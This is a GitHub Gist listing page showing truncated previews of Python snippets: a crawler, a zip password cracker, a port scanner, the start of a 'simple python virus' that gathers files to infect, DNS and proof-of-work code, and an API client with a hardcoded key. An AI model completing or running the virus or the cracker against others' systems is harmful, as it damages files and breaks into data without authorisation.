Skip to content

Instantly share code, notes, and snippets.

View daedalus's full-sized avatar

Darío Clavijo daedalus

View GitHub Profile
@daedalus
daedalus / crawler.py
Created January 5, 2017 03:03
crawler
import sys, thread, Queue, re, urllib, urlparse, time, os, sys
dupcheck = set()
q = Queue.Queue(100)
q.put(sys.argv[1])
def queueURLs(html, origLink):
for url in re.findall('''<a[^>]+href=["'](.[^"']+)["']''', html, re.I):
link = url.split("#", 1)[0] if url.startswith("http") else '{uri.scheme}://{uri.netloc}'.format(uri=urlparse.urlparse(origLink)) + url.split("#", 1)[0]
if link in dupcheck:
continue
dupcheck.add(link)
@daedalus
daedalus / zipcrack.py
Created January 4, 2017 22:44
zip crack
#!/usr/bin/python
#import the required modules
import optparse
import zipfile
from time import time
#parse arguments
parser = optparse.OptionParser()
parser.add_option('-f', '--file', action="store", dest="file_path", help="Zip File Path", default=None)
@daedalus
daedalus / portscanner.py
Created January 4, 2017 22:42
port scanner
#!/usr/bin/python
# Visit Codingsec.net
# Importing the modules
# socket :=&gt; This is what we use to create a socket connection
# argparse is used to parse arguments. This is not important now
# and it is out of the scope of this post
import socket,sys,time,datetime,argparse,os
flag = 0 # we're gonna use this flag later. Just keep it in mind
#!/usr/bin/python
#https://codingsec.net/2016/11/make-simple-computer-virus-python/
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
@daedalus
daedalus / README.md
Created December 6, 2016 23:57 — forked from mathiasbynens/README.md
Superfish certificate
import os
import sys
def readfile(fn):
fd = open(fn,'r')
r = fd.read()
fd.close()
return r
def writefile(fn,s):
import datetime
import hashlib
import hmac
import random
import string
import time
import unirest as unirest
key = "da01c7e1f0dc4f166c6aa3d56add3293"
secret = "XXXXXXXXXXXXXXXXXXXXXXXXXX"
#!/usr/bin/python
import socket
import struct
DNS_QUERY_SECTION_FORMAT = struct.Struct("!2H")
DNS_QUERY_MESSAGE_HEADER = struct.Struct("!6H")
def decode_question_section(message, offset, qdcount):
questions = []
#!/usr/bin/env python
# example of proof-of-work algorithm
import hashlib
import time
import random
import math
max_nonce = 2 ** 32 # 4 billion
@daedalus
daedalus / r.py
Created March 11, 2016 21:32 — forked from wizardofozzie/r.py
r.py
#!/usr/bin/python
#################################################################################
# #
#.______ _______. ______ ___ .__ __. #
#| _ \ / | / | / \ | \ | | #
#| |_) | ______ | (----`| ,----' / ^ \ | \| | #
#| / |______| \ \ | | / /_\ \ | . ` | #
#| |\ \----. .----) | | `----./ _____ \ | |\ | #
#| _| `._____| |_______/ \______/__/ \__\ |__| \__| v0.2.0 #